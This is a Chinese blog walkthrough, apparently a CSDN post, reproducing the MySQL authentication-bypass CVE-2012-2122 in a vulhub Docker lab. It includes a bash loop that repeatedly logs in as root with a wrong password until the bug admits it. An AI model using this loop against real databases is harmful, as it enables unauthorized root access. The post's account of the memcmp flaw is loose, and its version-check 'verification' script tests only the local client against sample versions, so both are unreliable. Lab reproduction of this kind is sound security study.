Mysql 身份认证绕过漏洞 CVE-2012-2122

前言:CVE-2012-2122 是一个影响 MySQL 和 MariaDB 的身份验证漏洞,存在于特定版本中

vulhub/mysql/CVE-2012-2122/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/mysql/CVE-2012-2122/README.zh-cn.md

任务一 介绍 CVE-2012-2122

CVE 编号:CVE-2012-2122
披露时间:2012 年 6 月
漏洞类型:认证绕过(Authentication Bypass)
攻击类型:远程攻击,无需认证(Remote / Unauthenticated)
CVSS 评分:10.0(最高危)
攻击者可在不使用正确密码的情况下,通过反复尝试连接,以一定概率获得数据库的访问权限,包括 root 用户权限。
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数

错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{
    // 登录成功
}

原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断

于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证

任务二 启动环境 

cd mysql/CVE-2012-2122/
docker compose up -d

sudo apt update
sudo apt install mysql-client-core-8.0
//安装 MySQL 客户端

//如果是MariaDB(一般情况不是)
sudo apt install mariadb-client-core

 

任务三 攻击 

for i in `seq 1 1000`; do
  mysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done

//以下是可能出现的报错
//这是因为 mysql 命令默认尝试通过本地 socket 文件连接 MySQL,但:
复现环境中 MySQL 是跑在容器里,未通过本地 socket 暴露服务。

for i in `seq 1 1000`; do
  mysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done

//改进代码

 

任务四 修复 | 验证 

import subprocess

def check_cve_2012_2122():
    try:
        output = subprocess.check_output("mysql --version", shell=True)
        version = output.decode().strip().split()[4].rstrip(',')
        affected_versions = ['5.1.62', '5.5.23', '5.6.5']  # 示例版本
        if version in affected_versions:
            return "Vulnerable"
        return "Patched"
    except Exception as e:
        return f"Error: {e}"
 

参考链接

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

淡水猫.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值